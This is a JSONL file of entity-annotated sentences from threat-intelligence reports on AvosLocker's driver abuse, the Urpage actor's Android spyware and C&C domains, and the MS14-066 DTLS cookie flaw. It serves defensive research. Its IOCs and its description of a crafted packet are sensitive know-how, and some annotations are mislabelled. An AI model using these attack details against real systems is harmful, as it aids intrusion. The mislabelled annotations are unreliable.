-{"id":1873,"text":"We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can't be loaded to memory.","entities":[{"id":46995,"label":"SOFTWARE","start_offset":71,"end_offset":107},{"id":46994,"label":"identity","start_offset":28,"end_offset":37},{"id":46996,"label":"SOFTWARE","start_offset":135,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":1874,"text":"The below example shows that the blocking works (output from the \"sc start\" command):","entities":[],"relations":[],"Comments":[]}
-{"id":1875,"text":"               (SC) StartService FAILED 1275:                This driver has been blocked from loading","entities":[],"relations":[],"Comments":[]}
-{"id":1876,"text":"The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft's security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.","entities":[{"id":46997,"label":"SOFTWARE","start_offset":34,"end_offset":58},{"id":46998,"label":"TIME","start_offset":76,"end_offset":84},{"id":47000,"label":"identity","start_offset":115,"end_offset":124},{"id":47001,"label":"TIME","start_offset":147,"end_offset":152},{"id":46999,"label":"identity","start_offset":16,"end_offset":25},{"id":47002,"label":"SOFTWARE","start_offset":188,"end_offset":205}],"relations":[],"Comments":[]}
-{"id":1877,"text":"All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.","entities":[{"id":47003,"label":"SOFTWARE","start_offset":48,"end_offset":53},{"id":47004,"label":"SOFTWARE","start_offset":58,"end_offset":61},{"id":47005,"label":"malware","start_offset":84,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":1878,"text":"For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.\"","entities":[{"id":47006,"label":"SOFTWARE","start_offset":126,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":1879,"text":"Indicators of Compromise (IOCs)       File SHA256 Detection Malicious batch file component a5ad3355f55e1a15baefea83ce81d038531af516f47716018b1dedf04f081f15","entities":[{"id":5521,"label":"SHA1","start_offset":91,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":1880,"text":"Trojan","entities":[],"relations":[],"Comments":[]}
-{"id":1881,"text":"BAT.KILLAV.YACAA","entities":[],"relations":[],"Comments":[]}
-{"id":1882,"text":"AvosLocker executable 05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5 Ransom.Win32.AVOSLOCKER.SMYXBLNT Mimikatz executable (x32 and x64) 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 HackTool.Win64.MIMIKATZ.ZTJA e81a8f8ad804c4d83869d7806a303ff04f31cce376c5df8aada2e9db2c1eeb98 HackTool.Win32.Mimikatz.CNFW Log4shell Nmap NSE script ddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96 Backdoor.Win32.CVE202144228.YACAH Impacket tool 14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8 HackTool.Win32.Impacket.AA","entities":[{"id":5525,"label":"tools","start_offset":120,"end_offset":128},{"id":5529,"label":"tools","start_offset":352,"end_offset":356},{"id":5523,"label":"SHA2","start_offset":22,"end_offset":86},{"id":5530,"label":"SHA2","start_offset":368,"end_offset":432},{"id":5522,"label":"malware","start_offset":0,"end_offset":10},{"id":5527,"label":"SHA2","start_offset":154,"end_offset":218},{"id":5528,"label":"SHA2","start_offset":248,"end_offset":312},{"id":5533,"label":"SHA2","start_offset":481,"end_offset":545},{"id":5531,"label":"tools","start_offset":467,"end_offset":475},{"id":47007,"label":"tools","start_offset":546,"end_offset":572},{"id":47009,"label":"tools","start_offset":219,"end_offset":247},{"id":47011,"label":"vulnerability","start_offset":342,"end_offset":351},{"id":47012,"label":"malware","start_offset":87,"end_offset":119},{"id":47008,"label":"tools","start_offset":313,"end_offset":341},{"id":47010,"label":"tools","start_offset":433,"end_offset":466}],"relations":[{"id":288,"from_id":47012,"to_id":5522,"type":"duplicate-of"},{"id":287,"from_id":5522,"to_id":5523,"type":"consists-of"}],"Comments":[]}
-{"id":1883,"text":"     Tags  Malware | Exploits & Vulnerabilities | Cyber Threats | APT & Targeted Attacks | Compliance & Risks | Endpoints | Ransomware | Network | Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
-{"id":1884,"text":"In the process of monitoring changes in the threat landscape, we get a clearer insight into the way threat actors work behind the schemes.","entities":[],"relations":[],"Comments":[]}
-{"id":1885,"text":"In this case we dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, and another threat actor called Bahamut.","entities":[{"id":47014,"label":"threat-actor","start_offset":156,"end_offset":165},{"id":47013,"label":"threat-actor","start_offset":145,"end_offset":154},{"id":47015,"label":"threat-actor","start_offset":199,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":1886,"text":"For the sake of this report, we will call this unnamed threat actor “Urpage.”","entities":[{"id":47016,"label":"threat-actor","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":1887,"text":"What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages.","entities":[{"id":45163,"label":"SOFTWARE","start_offset":51,"end_offset":57},{"id":45162,"label":"threat-actor","start_offset":10,"end_offset":16}],"relations":[{"id":78,"from_id":45162,"to_id":45163,"type":"targets"}],"Comments":[]}
-{"id":1888,"text":"However, its Delphi backdoor component, which it has in common with Confucius and Patchwork, and its apparent use of Bahamut-like malware, is what makes it more intriguing as it connects Urpage to these other known threats.","entities":[{"id":47017,"label":"threat-actor","start_offset":68,"end_offset":77},{"id":47019,"label":"threat-actor","start_offset":82,"end_offset":91},{"id":47020,"label":"threat-actor","start_offset":117,"end_offset":124},{"id":47021,"label":"threat-actor","start_offset":187,"end_offset":193}],"relations":[],"Comments":[]}
-{"id":1889,"text":"In our previous entry, we already covered the Delphi component in the context of the Confucius and Patchwork connection.","entities":[{"id":47022,"label":"threat-actor","start_offset":85,"end_offset":94},{"id":47023,"label":"threat-actor","start_offset":99,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":1890,"text":"We mentioned Urpage as a third unnamed threat actor connected to the two.","entities":[{"id":45164,"label":"threat-actor","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":1891,"text":"This time, we look into Urpage to gain a deeper insight into the way several threat actors' actions intersect.","entities":[{"id":47024,"label":"threat-actor","start_offset":24,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":1892,"text":"The Bahamut Link Fake websites","entities":[{"id":5568,"label":"threat-actor","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":1893,"text":"The link between Bahamut and Urpage can be best discussed by way of the multiple malicious Android samples that matched Bahamut's code and had C&C belonging to the Urpage infrastructure.","entities":[{"id":45170,"label":"Infrastucture","start_offset":143,"end_offset":146},{"id":45167,"label":"threat-actor","start_offset":120,"end_offset":128},{"id":5570,"label":"threat-actor","start_offset":17,"end_offset":24},{"id":5572,"label":"threat-actor","start_offset":29,"end_offset":35},{"id":5578,"label":"threat-actor","start_offset":164,"end_offset":170},{"id":47025,"label":"SOFTWARE","start_offset":91,"end_offset":106}],"relations":[{"id":289,"from_id":5570,"to_id":5572,"type":"related-to"}],"Comments":[]}
-{"id":1894,"text":"Some of these C&C websites also act as phishing sites that lure users into downloading these very applications.","entities":[{"id":47026,"label":"attack-pattern","start_offset":39,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":1895,"text":"The threat actor sets up these fake websites describing the application and linking to the Google Play Store to download it, like in the case of the malicious website, pikrpro[.]eu, seen below  Another sample website involved the use of a closely copied version of an existing website, with slight changes in the logo and options above the page.","entities":[{"id":47027,"label":"SOFTWARE","start_offset":91,"end_offset":108},{"id":47028,"label":"DOMAIN","start_offset":168,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":1896,"text":"The download links were also replaced to download the malicious Android application instead.","entities":[{"id":45171,"label":"SOFTWARE","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":1897,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]}
-{"id":1898,"text":"Original (top) and modified (bottom) website","entities":[],"relations":[],"Comments":[]}
-{"id":1899,"text":"Upon writing this entry, we’ve coordinated with Google to ensure that the malicious applications these C&C sites advertise are no longer available for download on the Google Play Store.","entities":[{"id":45172,"label":"identity","start_offset":48,"end_offset":54},{"id":45173,"label":"SOFTWARE","start_offset":167,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":1900,"text":"It is important to note however, that not all C&C websites for Urpage advertise malicious applications.","entities":[{"id":5595,"label":"threat-actor","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":1901,"text":" Some simply contain a random template with empty categories, likely as a ploy to hide its malicious activities.","entities":[],"relations":[],"Comments":[]}
-{"id":1902,"text":"Android targeting","entities":[{"id":45174,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":1903,"text":"As with Bahamut applications, once downloaded and executed, it showed multiple malicious features that deal with stealing information.","entities":[{"id":47030,"label":"attack-pattern","start_offset":113,"end_offset":133},{"id":47029,"label":"threat-actor","start_offset":8,"end_offset":15}],"relations":[{"id":290,"from_id":47029,"to_id":47030,"type":"uses"}],"Comments":[]}
-{"id":1904,"text":"Some of these features are listed below.","entities":[],"relations":[],"Comments":[]}
-{"id":1905,"text":" Retrieves basic information like network information and MAC address from an infected phone SMS stealing Contacts stealing Audio recording GPS location retrieval Steals files with the specific extensions, although not all samples target these extensions.","entities":[],"relations":[],"Comments":[]}
-{"id":1906,"text":"  File type File extensions Document files .txt, .csv, .doc, .docx, .xls, .xlsx, .pdf WhatsApp databases .db.crypt5 to .db.crypt12 Geolocation related files .kml, .kmz,  .gmx, .aqm Audio files .mp3, .opus Videos .mp4, .amr, .wmv, .3gp, Pictures .jpeg, .jpg   ","entities":[{"id":47031,"label":"SOFTWARE","start_offset":86,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":1907,"text":"Of note is one specific application that had a different purpose from the others.","entities":[],"relations":[],"Comments":[]}
-{"id":1908,"text":"This application has the same encryption routine as other Urpage applications.","entities":[{"id":45175,"label":"threat-actor","start_offset":58,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":1909,"text":"Instead of stealing documents or images, it works on top of a modified version of the legitimate Threema, an end-to-end encrypted messaging application, to steal screenshots of messages.","entities":[{"id":47032,"label":"SOFTWARE","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":1910,"text":"This application has the same icon and label as the legitimate Threema.","entities":[{"id":47033,"label":"SOFTWARE","start_offset":63,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":1911,"text":"Once launched, it drops a modified APK version of Threema and prompts the user to install the application.","entities":[{"id":45176,"label":"SOFTWARE","start_offset":50,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":1912,"text":"The malicious application then hides its icon on the device but still runs in the background, while the modified Threema works like normal.","entities":[{"id":47034,"label":"SOFTWARE","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":1913,"text":"Unknown to the user, the code in the modified Threema allows it to take screenshots of itself every 10 seconds.","entities":[{"id":5617,"label":"TIME","start_offset":94,"end_offset":110},{"id":47035,"label":"SOFTWARE","start_offset":46,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":1914,"text":"These images are stored in the location\/sdcard\/Android\/data\/ch.threema.app\/DataData directory, while the “dropper” or the malicious application working in the background uploads the images to the C&C for the threat actor to access.","entities":[{"id":45177,"label":"FILEPATH","start_offset":39,"end_offset":83},{"id":45178,"label":"Infrastucture","start_offset":196,"end_offset":199}],"relations":[],"Comments":[]}
-{"id":1915,"text":"Figure 2. Comparison of legitimate Threema code (left) to the modified version (right) with the inserted code","entities":[{"id":47036,"label":"SOFTWARE","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":1916,"text":"Other activities","entities":[],"relations":[],"Comments":[]}
-{"id":1917,"text":"Aside from acting as a C&C and distributing Bahamut-like malware, some of these websites also serve as the host for other malicious documents.","entities":[{"id":45179,"label":"threat-actor","start_offset":44,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":1918,"text":"These other activities further establish the link of Urpage — and consequently Bahamut — to other threat actors.","entities":[{"id":5624,"label":"threat-actor","start_offset":53,"end_offset":59},{"id":47037,"label":"threat-actor","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":1919,"text":"Take, for example, the previously mentioned pikrpro[.]eu.","entities":[{"id":47038,"label":"DOMAIN","start_offset":44,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":1920,"text":"This C&C website also acts as host not only for the malicious Android application but also for two other malicious documents listed here.","entities":[{"id":45180,"label":"SOFTWARE","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":1921,"text":" A malicious RTF file that exploits the CVE-2017-8750 and drops a malicious VB backdoor with C&C appswonder[.]info A malicious InPage file that exploits CVE-2017-12824 and drops two files, one non-malicious, and one malicious VB backdoor with C&C referfile[.]com  Talos recently reported both C&C domain names with one type of campaign that targets iOS and involves MDM, and another type using VB and Delphi backdoors.","entities":[{"id":47039,"label":"vulnerability","start_offset":40,"end_offset":53},{"id":47042,"label":"DOMAIN","start_offset":247,"end_offset":262},{"id":47043,"label":"identity","start_offset":264,"end_offset":269},{"id":47044,"label":"SOFTWARE","start_offset":349,"end_offset":352},{"id":47045,"label":"malware","start_offset":3,"end_offset":16},{"id":47040,"label":"vulnerability","start_offset":153,"end_offset":167},{"id":47041,"label":"DOMAIN","start_offset":97,"end_offset":114}],"relations":[{"id":291,"from_id":47045,"to_id":47039,"type":"exploits"},{"id":292,"from_id":47045,"to_id":47041,"type":"communicates-with"}],"Comments":[]}
-{"id":1922,"text":"This leads us back to the Confucius and Patchwork link.","entities":[{"id":5646,"label":"threat-actor","start_offset":40,"end_offset":49},{"id":47046,"label":"threat-actor","start_offset":26,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":1923,"text":"The Confucius Link","entities":[{"id":47047,"label":"threat-actor","start_offset":4,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":1924,"text":"In our previous entry, we already discussed how Confucius used the same Delphi file stealer as Urpage.","entities":[{"id":47048,"label":"threat-actor","start_offset":48,"end_offset":57},{"id":47049,"label":"threat-actor","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":1925,"text":"Digging into Urpage, we found another link—two malicious RTF files that exploit different vulnerabilities but download a similar script (detected as TROJ_POWLOAD.GAA) containing two base64-encoded URLs.","entities":[{"id":47050,"label":"threat-actor","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":1926,"text":"One of the URLs is for the decoy document, while the other one is for the payload.","entities":[],"relations":[],"Comments":[]}
-{"id":1927,"text":"One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd,detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.]com, a domain name belonging to Urpage.","entities":[{"id":5662,"label":"SHA2","start_offset":187,"end_offset":251},{"id":5659,"label":"threat-actor","start_offset":54,"end_offset":63},{"id":5660,"label":"SHA2","start_offset":65,"end_offset":129},{"id":47051,"label":"malware","start_offset":143,"end_offset":163},{"id":47052,"label":"malware","start_offset":264,"end_offset":281},{"id":47053,"label":"DOMAIN","start_offset":327,"end_offset":339},{"id":47054,"label":"threat-actor","start_offset":368,"end_offset":374}],"relations":[{"id":293,"from_id":5660,"to_id":5659,"type":"authored-by"},{"id":294,"from_id":47051,"to_id":5660,"type":"related-to"},{"id":295,"from_id":47051,"to_id":5659,"type":"authored-by"},{"id":296,"from_id":5662,"to_id":5659,"type":"authored-by"},{"id":297,"from_id":47052,"to_id":5659,"type":"authored-by"},{"id":298,"from_id":47052,"to_id":47053,"type":"beacons-to"},{"id":299,"from_id":47054,"to_id":47053,"type":"controls"}],"Comments":[]}
-{"id":1928,"text":"The Patchwork Link Patchwork also uses the Delphi file stealer as a similarity with Urpage, which suggests the three groups are somehow related.","entities":[{"id":5664,"label":"threat-actor","start_offset":4,"end_offset":13},{"id":5665,"label":"threat-actor","start_offset":19,"end_offset":28},{"id":47055,"label":"threat-actor","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":1929,"text":"But this link is further fortified by the Android applications we found whose code is like that of Bahamut, with the C&C matching the usual name registration pattern of Patchwork’s group, as well as an infrastructure close to an old Patchwork domain.","entities":[{"id":45181,"label":"SOFTWARE","start_offset":42,"end_offset":49},{"id":45183,"label":"threat-actor","start_offset":169,"end_offset":178},{"id":45184,"label":"threat-actor","start_offset":233,"end_offset":242},{"id":45182,"label":"malware","start_offset":99,"end_offset":106}],"relations":[{"id":80,"from_id":45182,"to_id":45183,"type":"attributed-to"}],"Comments":[]}
-{"id":1930,"text":"Of note was how the C&C was not encrypted in the application code, despite the fact that it contained the same encryption routines as other samples.","entities":[{"id":5674,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":1931,"text":"Patchwork has also recently employed Android malware in its attacks, with its use of a customized version of AndroRAT.","entities":[{"id":47056,"label":"malware","start_offset":109,"end_offset":117},{"id":47058,"label":"SOFTWARE","start_offset":37,"end_offset":44},{"id":47057,"label":"threat-actor","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":1932,"text":"Summary","entities":[],"relations":[],"Comments":[]}
-{"id":1933,"text":"The many similarities and connections show that threat actors do not work in isolation, and that attacks do not necessarily appear from out of nowhere.","entities":[],"relations":[],"Comments":[]}
-{"id":1934,"text":"This may even suggest that a single development team may be behind this attack — maybe a single paid group that has sold its tools and services to other groups with different goals and targets.","entities":[],"relations":[],"Comments":[]}
-{"id":1935,"text":"We’ve summarized all the mentioned findings in the table below.","entities":[],"relations":[],"Comments":[]}
-{"id":1936,"text":"   Urpage Bahamut Confucius Patchwork \"BioData\" Delphi backdoor and file stealer X   X X VB backdoor X       Android \"Bahamut-like\" malware X X   X Custom Android malware     X   AndroRAT Android malware       X InPage malicious documents X   X   simply obfuscated HTA downloaders X   X   IOS malware X       Confucius malware     X   remote-access-c3 backdoor     X   Sneepy\/Byebye shell malware     X   Python cloud filestealers     X   AllaKore RAT     X   Badnews malware       X QuasarRAT       X NDiskMonitor malware       X   Targets","entities":[{"id":5685,"label":"threat-actor","start_offset":3,"end_offset":9},{"id":5686,"label":"threat-actor","start_offset":10,"end_offset":17},{"id":5687,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":5688,"label":"threat-actor","start_offset":28,"end_offset":37},{"id":5689,"label":"malware","start_offset":39,"end_offset":46},{"id":5693,"label":"malware","start_offset":118,"end_offset":125},{"id":5694,"label":"malware","start_offset":179,"end_offset":187},{"id":5695,"label":"threat-actor","start_offset":309,"end_offset":318},{"id":5697,"label":"malware","start_offset":369,"end_offset":375},{"id":5700,"label":"malware","start_offset":439,"end_offset":451},{"id":5701,"label":"malware","start_offset":460,"end_offset":467},{"id":5702,"label":"malware","start_offset":484,"end_offset":493},{"id":5703,"label":"malware","start_offset":502,"end_offset":514},{"id":47059,"label":"SOFTWARE","start_offset":155,"end_offset":162},{"id":47060,"label":"malware","start_offset":376,"end_offset":382}],"relations":[],"Comments":[]}
-{"id":1937,"text":"We did not find Urpage victims in our telemetry, likely because of the targeted nature of these attacks.","entities":[{"id":5704,"label":"threat-actor","start_offset":16,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":1938,"text":"However, the domains used by Urpage provided hints about its target.","entities":[{"id":45185,"label":"threat-actor","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":1939,"text":"For one, there is the domain pikrpro[.]eu and its subdomains—the islamicfinderfeedback[.]pikrpro[.]eu and the memrifilesforinfo[.]pikpro[.]eu.","entities":[{"id":47063,"label":"DOMAIN","start_offset":110,"end_offset":141},{"id":47061,"label":"DOMAIN","start_offset":29,"end_offset":41},{"id":47062,"label":"DOMAIN","start_offset":65,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":1940,"text":"The two pose as legitimate groups and websites that provide services to Islam followers and users from the Middle East.","entities":[{"id":47064,"label":"location","start_offset":107,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":1941,"text":"Additionally, many of the files related to the Urpage domains are auto-extractable files that drop Delphi or VB backdoor and open a decoy document.","entities":[{"id":47065,"label":"threat-actor","start_offset":47,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":1942,"text":"The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir.","entities":[{"id":47066,"label":"threat-actor","start_offset":36,"end_offset":42},{"id":47067,"label":"location","start_offset":117,"end_offset":124}],"relations":[{"id":300,"from_id":47066,"to_id":47067,"type":"targets"}],"Comments":[]}
-{"id":1943,"text":"The header for a sample document can be seen below.","entities":[],"relations":[],"Comments":[]}
-{"id":1944,"text":" The documents can also be image files with the same theme, as can be seen here.  Multiple Android applications further drive this notion, as they provide services based on the interests of users in that region.","entities":[],"relations":[],"Comments":[]}
-{"id":1945,"text":"They have a malicious application that provides services for religion, as well as popular sports in the region.","entities":[],"relations":[],"Comments":[]}
-{"id":1946,"text":" Figure 3. Malicious application for observing Ramadan  Figure 4.","entities":[],"relations":[],"Comments":[]}
-{"id":1947,"text":"Malicious application for cricket news Solutions and Mitigation Taking note of these similarities and connections can help organizations and users in their continued defense against Urpage, Bahamut, Confucius, and Patchwork.","entities":[{"id":47070,"label":"threat-actor","start_offset":199,"end_offset":208},{"id":47071,"label":"threat-actor","start_offset":214,"end_offset":223},{"id":47068,"label":"threat-actor","start_offset":182,"end_offset":188},{"id":47069,"label":"threat-actor","start_offset":190,"end_offset":197}],"relations":[],"Comments":[]}
-{"id":1948,"text":"The connection of Urpage to the other three threat actors demonstrate that cyberattacks don’t exist in silos and that it hints at a circulation of knowledge and technologies that help in the continuing evolution of different malicious campaigns.","entities":[{"id":47072,"label":"threat-actor","start_offset":18,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":1949,"text":"Given this knowledge, organizations must be more vigilant in monitoring threats, as changes in one may mean that changes in others could follow.","entities":[],"relations":[],"Comments":[]}
-{"id":1950,"text":"Organizations can develop defenses against the social engineering component these four threat actors have in common.","entities":[],"relations":[],"Comments":[]}
-{"id":1951,"text":"Users should be able to identify the indicators of a social engineering campaign.","entities":[],"relations":[],"Comments":[]}
-{"id":1952,"text":"Paying close attention to the domain name of a website before performing any further action can also help mitigate threats, including threats like Urpage that have targeted victims.","entities":[{"id":47073,"label":"threat-actor","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":1953,"text":"As an additional defense against the growing use of malicious mobile applications, enterprises and end users can benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security for Android™ which is also available on Google Play.","entities":[{"id":45192,"label":"SOFTWARE","start_offset":242,"end_offset":253},{"id":45193,"label":"SOFTWARE","start_offset":173,"end_offset":214}],"relations":[],"Comments":[]}
-{"id":1954,"text":"Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies.","entities":[{"id":47075,"label":"SOFTWARE","start_offset":58,"end_offset":65},{"id":47074,"label":"SOFTWARE","start_offset":0,"end_offset":50},{"id":47076,"label":"SOFTWARE","start_offset":70,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":1955,"text":"It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.","entities":[{"id":47077,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":47079,"label":"attack-pattern","start_offset":86,"end_offset":111},{"id":47080,"label":"attack-pattern","start_offset":29,"end_offset":36},{"id":47081,"label":"attack-pattern","start_offset":67,"end_offset":80},{"id":47078,"label":"attack-pattern","start_offset":51,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":1956,"text":"For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning.","entities":[{"id":45194,"label":"SOFTWARE","start_offset":19,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":1957,"text":"It also protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.","entities":[],"relations":[],"Comments":[]}
-{"id":1958,"text":"The Trend Micro™ Deep Discovery™ threat protection platform enables organizations to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs.","entities":[{"id":47082,"label":"SOFTWARE","start_offset":4,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":1959,"text":"Trend Micro™ Smart Protection for Endpoints with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint, offering the broadest possible protection against advanced attacks.","entities":[{"id":47083,"label":"SOFTWARE","start_offset":0,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":1960,"text":"This appendix contains the latest Indicators of Compromise (IOCs) related to the different groups.        Tags  Mobile | APT & Targeted Attacks | Research","entities":[],"relations":[],"Comments":[]}
-{"id":1961,"text":"Microsoft recently released a patch for a critical vulnerability in Microsoft Secure Channel (aka Schannel).","entities":[{"id":47084,"label":"identity","start_offset":0,"end_offset":9},{"id":47085,"label":"SOFTWARE","start_offset":68,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":1962,"text":" This vulnerability is being referred to as MS14-066.","entities":[{"id":45196,"label":"vulnerability","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":1963,"text":" The patch addressing CVE-2014-6321 fixed many areas within schannel.dll, including at least two vulnerabilities related to the handling of the Datagram Transport Layer Security (DTLS) protocol.","entities":[{"id":47086,"label":"vulnerability","start_offset":22,"end_offset":35},{"id":47087,"label":"FILEPATH","start_offset":60,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":1964,"text":" DTLS is used by Microsoft Remote Desktop Protocol (RDP) to provide communications privacy for datagram protocols.","entities":[{"id":47088,"label":"SOFTWARE","start_offset":17,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":1965,"text":"The DTLS protocol is used by Microsoft Windows Remote Desktop Gateway (RDG) to establish a secure channel between the RDG client and RDG server (described in detail in [MS_TSGU].pdf).  The RDG client initiates the DTLS connection by sending a ClientHello to the RDG Server.  The RDG server then responds with a DTLS Hello Verify Request that contains a cookie; this is used as a denial of service countermeasure.","entities":[{"id":47089,"label":"SOFTWARE","start_offset":29,"end_offset":75},{"id":47090,"label":"FILEPATH","start_offset":168,"end_offset":181}],"relations":[],"Comments":[]}
-{"id":1966,"text":" The RDG client responds once again with a Client Hello packet containing the received cookie, which will initiate the DTLS handshake (RFC6347 Section 4.2).   Figure 1: Initiation of the DTLS handshake between RDG client and server  Figure 2: RDG client and server handshake phase (Source: [MS-TSGU] Section 1.3.3.1.1)","entities":[],"relations":[],"Comments":[]}
-{"id":1967,"text":"Before starting analysis, we needed to set up a test environment.","entities":[],"relations":[],"Comments":[]}
-{"id":1968,"text":"For the RDG server we referred to the following walkthrough: http:\/\/terrytlslau.tls1.cc\/2014\/01\/deploying-remote-desktop-gateway-in.html.","entities":[{"id":45199,"label":"URL","start_offset":61,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":1969,"text":" Now let’s explore these vulnerabilities.","entities":[],"relations":[],"Comments":[]}
-{"id":1970,"text":" When a client sends the DTLS ClientHello packet to the server, the server computes a Message Authentication Code (MAC) on it and compares it to the cookie contained in the packet.","entities":[],"relations":[],"Comments":[]}
-{"id":1971,"text":"But the server only checks the cookie length field, not whether the cookie buffer can be read.","entities":[],"relations":[],"Comments":[]}
-{"id":1972,"text":"In fact, a 32 byte length is always read, which could lead to a buffer out-of-bounds condition.","entities":[],"relations":[],"Comments":[]}
-{"id":1973,"text":" It should be noted that a client could send a crafted packet to the server without needing to start an RDP session.","entities":[],"relations":[],"Comments":[]}
-{"id":1974,"text":"Figure 3, below, shows a packet crafted to display a “Cookie Length” of 32 (32 is equivalent to 0x20 in hexadecimal), which does not match the actual amount of data in the cookie (shown containing only two 0x41 characters).","entities":[],"relations":[],"Comments":[]}
-{"id":1975,"text":" Figure 3: A crafted packet sending mismatched size and content  Related code is found in the DTLSCookieManager::ValidateCookie function:  As shown above, although the server checks the “CookieSize” field, the compared length is always *(_DWORD *)(mgr + 16)), whose value is 0x20; however, the real cookie buffer length could be less than 0x20.","entities":[],"relations":[],"Comments":[]}
-{"id":1976,"text":"A crafted packet could set the “CookieSize” field to 0x20 and have the actual cookie buffer contain less than 0x20 bytes of data.  When a DTLS client receives a HelloVerifyRequest packet with a CookieSize larger than 32 bytes the client does not properly validate the CookieSize value against the amount of cookie data in the packet.","entities":[],"relations":[],"Comments":[]}
-{"id":1977,"text":"This scenario can result in a heap overflow.","entities":[{"id":47091,"label":"attack-pattern","start_offset":30,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":1978,"text":"It should be noted that if you want modify the “CookieSize“ value, you should modify the other length fields to keep the packet structure valid, as shown below in Figure 4.","entities":[],"relations":[],"Comments":[]}
-{"id":1979,"text":"Figure 4: An example of a properly modified DTLS packet cookie  ","entities":[],"relations":[],"Comments":[]}
-{"id":1980,"text":"We can see the first packet is a normal ClientHello sent by the client, and the second packet is a crafted packet sent by the server.  In order to examine exploitation of this vulnerability, we used WinDBG to attach to the lsass.exe process.","entities":[{"id":47093,"label":"FILEPATH","start_offset":223,"end_offset":232},{"id":47092,"label":"SOFTWARE","start_offset":199,"end_offset":205}],"relations":[],"Comments":[]}
-{"id":1981,"text":"Below, Figure 5 shows what the call stack looks like when the process crashes.","entities":[],"relations":[],"Comments":[]}
